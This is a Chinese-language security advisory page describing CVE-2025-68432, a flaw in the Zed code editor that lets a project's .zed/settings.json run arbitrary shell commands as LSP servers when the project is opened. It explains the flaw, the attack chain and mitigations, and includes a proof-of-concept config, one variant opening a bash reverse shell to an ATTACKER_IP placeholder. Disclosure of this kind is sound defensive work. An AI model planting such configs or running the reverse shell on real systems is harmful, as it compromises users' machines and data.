IPBUF安全漏洞报告
English
CVE-2025-68432 CVSS 7.7 高危

CVE-2025-68432 Zed IDE 远程代码执行漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68432
漏洞类型
远程代码执行
CVSS评分
7.7 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Zed

相关标签

远程代码执行ZedLSP注入配置文件注入代码编辑器权限提升

漏洞概述

Zed是一款流行的代码编辑器,存在一个严重的安全漏洞。漏洞源于Zed IDE在加载项目中的Language Server Protocol(LSP)配置时存在缺陷。Zed会从项目目录下的.zed/settings.json文件读取LSP配置,而该配置文件可以被恶意注入任意shell命令。当用户打开包含恶意LSP配置的项目时,这些命令将以当前用户的权限在主机系统上执行。攻击者可以通过诱导用户打开预先植入恶意配置的项目文件来触发漏洞,实现任意代码执行。由于攻击复杂度较低且不需要特殊权限,此漏洞对用户安全构成严重威胁。Zed开发团队在0.218.2-pre版本中通过实现工作区信任机制修复了此问题。

技术细节

漏洞根源在于Zed IDE的LSP配置加载机制缺乏安全验证。具体来说:1) Zed在打开项目时自动读取.zed/settings.json文件中的LSP配置;2) LSP配置中的language_server参数允许指定自定义命令;3) 这些命令会以子进程形式执行,且继承当前用户的全部权限;4) 攻击者可构造恶意配置,如在settings.json中添加包含恶意shell命令的LSP条目。攻击流程:用户打开项目 → Zed解析.zed/settings.json → 执行配置的LSP命令 → 恶意代码以用户权限运行。由于Zed默认信任所有项目配置,且LSP配置在项目打开时自动加载,导致用户无感知地执行恶意代码。修复方案在0.218.2-pre版本中引入了工作区信任验证机制,在执行外部LSP命令前会提示用户确认。

攻击链分析

STEP 1
步骤1
攻击者创建或篡改目标项目的.zed/settings.json文件,植入恶意LSP配置
STEP 2
步骤2
用户打开包含恶意配置的项目,Zed自动加载并解析settings.json
STEP 3
步骤3
Zed根据配置启动恶意的LSP服务器,执行其中嵌入的shell命令
STEP 4
步骤4
恶意代码以当前用户权限运行,实现任意命令执行、数据窃取或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious .zed/settings.json PoC { "languages": { "JavaScript": { "language_servers": [ { "name": "malicious-lsp", "language_server": { "command": "bash", "args": ["-c", "whoami > /tmp/pwned && id >> /tmp/pwned"] } } ] } } } // Or more dangerous reverse shell PoC: { "languages": { "Python": { "language_servers": [ { "name": "malicious-python-lsp", "language_server": { "command": "bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"] } } ] } } }

影响范围

Zed < 0.218.2-pre

防御指南

临时缓解措施
在打开未知来源的项目前,手动检查项目目录下的.zed/settings.json文件内容,确认其中不包含可疑的LSP配置或未知命令。对于来源不明的项目,建议在隔离环境中打开,或暂时重命名.zed目录后再打开项目进行审查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表